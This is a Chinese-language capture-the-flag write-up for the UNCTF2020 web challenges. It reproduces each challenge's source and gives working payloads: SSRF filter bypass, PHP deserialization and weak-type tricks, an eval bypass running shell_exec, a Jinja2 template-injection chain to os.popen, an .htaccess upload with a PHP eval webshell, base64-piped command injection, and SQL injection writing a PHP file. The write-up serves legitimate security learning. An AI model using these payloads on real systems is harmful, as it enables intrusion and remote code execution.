UNCTF2020 Web Writeup
队伍：打CTF不靠实力靠运气
作者：wjhwjhn
easy_ssrf
审计代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| <?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
$url=file_get_contents($url);
echo($url);
}else{
echo('error!!');
}
}else{
echo("error");
}
|
进去可以直接看到代码，可以观察到使用
1
2
| preg_match('/unctf\.com/',$url)
preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)
|
来进行过滤URL，之后就可以直接执行代码了。
可以使用**unctf.com;来绕过第一个限制，并且用phar://**来绕过第二个限制。
Payload：?url=unctf.com;phar://../../../../flag
easyunserialize
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| <?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('challenge','easychallenge',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
|
反序列化漏洞，当数据被序列化后又替换，替换后比原有长度要长，所以可以伪造password
Payload：?1=challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";};;;
最后长度不足替换后的长度，用分号补全，最后成功得到flag。
babyeval
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| <?php
// flag在flag.php
if(isset($_GET['a'])){
if(preg_match('/\(.*\)/', $_GET['a']))
die('hacker!!!');
ob_start(function($data){
if (strpos($data, 'flag') !== false)
return 'ByeBye hacker';
return false;
});
eval($_GET['a']);
} else {
highlight_file(__FILE__);
}
?>
|
需要绕过
1
2
3
| preg_match('/\(.*\)/', $_GET['a'])//（匹配括号的限制）
if (strpos($data, 'flag') !== false)//（返回输出的限制）
|
对于1来说，我们可以用%0A来截断.*的匹配，达到绕过的目的。
对于2来说，我们可以用base64编码来编码返回后的结果，达到绕过的目的。
题目告诉我们flag就在flag.php中，所以我们直击目标。
Payload:?a=echo base64_encode(%0Ashell_exec(%0A"cat flag.php"));
得到flag.php文件的base64
成功得到：
PD9waHAKICAgICRmbGFnPSdVTkNURns1NWVhZjU1MS0wNjk1LTRjYTAtODcyMS1hNWJmZTA5MWVhODB9JzsKICAgID8+CgoK
解密后得到：
1
2
3
4
5
| <?php
$flag='UNCTF{55eaf551-0695-4ca0-8721-a5bfe091ea80}';
?>
|
ezphp
1
2
3
4
5
6
7
8
9
10
11
12
| <?php
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
|
刚开始以为又是一道序列化，直接安排，没想到提交上去显示错误，然后仔细一想，应该是flag.php中有玄机，正好结合前几天看到php弱类型比较，在本地伪造了两个true的变量序列化结果，绕过判断，因为true与任何字符串比较都是返回true。
Payload:a:2:{s:8:"username";b:1;s:8:"password";b:1;}
easyflask
根据引导注册了admin账号，来到了
/secret_route_you_do_not_know
测试了两天测试出guess参数可以用于与页面交互（这？？？参数拿来猜，这就是Web吗），
并且使用{{config}}发现guess参数可以利用模版注入，
百度学习了一下注入方法，发现以下payload可以成功getshell
Payload：
`{{()\|attr(request.args.x1)\|attr(request.args.x2)\|attr(request.args.x3)()\|attr(request.args.x4)(117)\|attr(request.args.x5)\|attr(request.args.x6)\|attr(request.args.x4)(request.args.x7)\|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen("cat%20flag.txt").read()`
关于这道题还有一些想说的，
注册非admin账号之后发现页面下方有
这么一串提示，然后我以为要访问的目录就是Secret
Key，结果爆破出来之后发现并不对。注册成功以后看了代码才知道，这道题目admin本来是不能被注册的，但是不知道什么玄学原因，admin也可以被注册，这导致我的做题顺序出现错误，我先看到了
这个，第二才看到那个，所以联想到错误的东西，结果发现这道题由于玄学的问题，导致了admin可以被直接注册。
所以正解应该是
- 注册非admin账号
- 看到那串文字，然后滚去爆破Secret Key
- 使用Secret Key伪造admin账号并且登录
- 看到/secret_route_you_do_not_know
- 进入页面后看到“guess”，想到用guess作为参数来进行模版注入。*我觉得这一步最难
- GetShell
附源码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
| from flask import *
import random as rd
import os
app = Flask(__name__)
def ranstr(num):
H = 'abcdefghijklmnopqrstuvwxyz0123456789'
salt = ''
for i in range(num):
salt += rd.choice(H)
return salt
SECRET = ranstr(4)
Flask.secret_key = SECRET
BLACKLIST = ['%', '_', 'eval', 'open', 'flag',
'in', '-', 'class', 'mro', '[', ']', '\"', '\'']
user_dicts = dict()
def init():
user_dicts["admin"] = User('admin', ranstr(32))
class User:
def __init__(self, username, password):
self.username = username
self.password = password
def black_list(string):
for i in string:
if i in BLACKLIST:
return True
return False
@app.route('/', methods=['GET'])
def index():
if 'username' in session:
if session['username'] == 'admin':
return render_template_string(
"admin login success and check the secret route /secret_route_you_do_not_know")
else:
return render_template('hello.html', name=session['username'])
else:
return render_template_string("a easy flask problem,first login as the admin")
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username'] if 'username' in request.form else ""
password = request.form['password'] if 'password' in request.form else ""
if username == "" or password == "":
return render_template_string("pass the username or password use get method")
if username in user_dicts and user_dicts[username].password == password:
session['username'] = username
if username == 'admin':
return render_template_string("admin login success!")
else:
return render_template_string("login success!!")
else:
return render_template_string("login fail! check /register")
else:
return render_template('login.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username'] if 'username' in request.form else ""
password = request.form['password'] if 'password' in request.form else ""
if username == "" or password == "":
return render_template_string("pass the username or password use get method")
if username not in user_dicts:
user_dicts[username] = User(username, password)
return render_template_string("register success")
else:
return render_template_string("the user already exists")
else:
return render_template('register.html')
@app.route('/secret_route_you_do_not_know', methods=['GET'])
def secret():
guess = request.args['guess'] if 'guess' in request.args else ''
secret_num = rd.randint(0, 100000)
if guess == '':
return render_template_string("you should 'guess' the secret number")
try:
guess_num = int(guess)
if guess_num == secret_num:
return render_template_string('final step, check the source code')
else:
return render_template_string('you are wrong')
except Exception:
if not black_list(guess):
return render_template_string(guess + ' error!!')
else:
return render_template_string('black list filter')
if __name__ == '__main__':
init()
app.run(host='0.0.0.0', port=80)
|
easy_upload
利用.htaccess文件来把jpg文件解析成php执行，但是需要绕过关键字检测。
.htaccess中可以用反斜杠加换行来把关键字隔开从而绕过。
php中可以用**<?=来代替<?php**，来绕过ph关键字检测，前者这种写法在php5.4以上的版本一定开启而且无法被关闭。
.htaccess上传前把扩展名修改为.htaccess.jpg，然后用BurpSuite把.jpg去掉，这样的目的是在提交的时候多一个类型提交，绕过服务器类型检测。
Shell文件直接用.jpg的格式上传即可。
这样做的原因是并没有屏蔽**<关键字，所以当下次屏蔽<关键字的时候我们还可以尝试用UTF-7**编码文件来绕过检测。
.htaccess文件
1
2
3
| AddType Application/x-httpd-p\
hp .jpg
|
shell.jpg文件:?=@eval($_GET['a']);
Payload:a=echo shell_exec("cat ../../../../../flag");
最后成功getshell
这道题主要就是利用命令执行去ping我们给出的地址，然后返回信息。
我们要做的应该是在这基础上，运行我们的代码
首先要找到一个可以用于执行第二行代码的分隔符号，发现常见的;被屏蔽了，我们用|来替换，还我发现空格也被屏蔽了，那么我们用%09来替换空格，然后我又发现cat和flag也被屏蔽了，那么我们用base64编码来绕过关键字，最后得到
Payload:?url=127.0.0.1|echo%09Y2F0IC4uLy4uLy4uLy4uLy4uL2ZsYWc=|base64%09-d|sh
checkin-sql
SQL注入，但是有关键词过滤，而且过滤内容较多，根据提示flag不在数据库中，那我们就从文件中去寻找，可惜找了很久也没有，最后在**phpinfo()**中找到flag
Payload:1';PREPARE wjh from concat(char(115,101,108,101,99,116,32),"'",char(60),char(63),char(112),char(104),char(112),char(32),char(112),char(104),char(112),char(105),char(110),char(102),char(111),char(40),char(41),char(59),char(63),char(62),"' into outfile '/var/www/html/shell", char(46) ,"php'");EXECUTE wjh;#
这个是写入了
wjh 收录于 Web
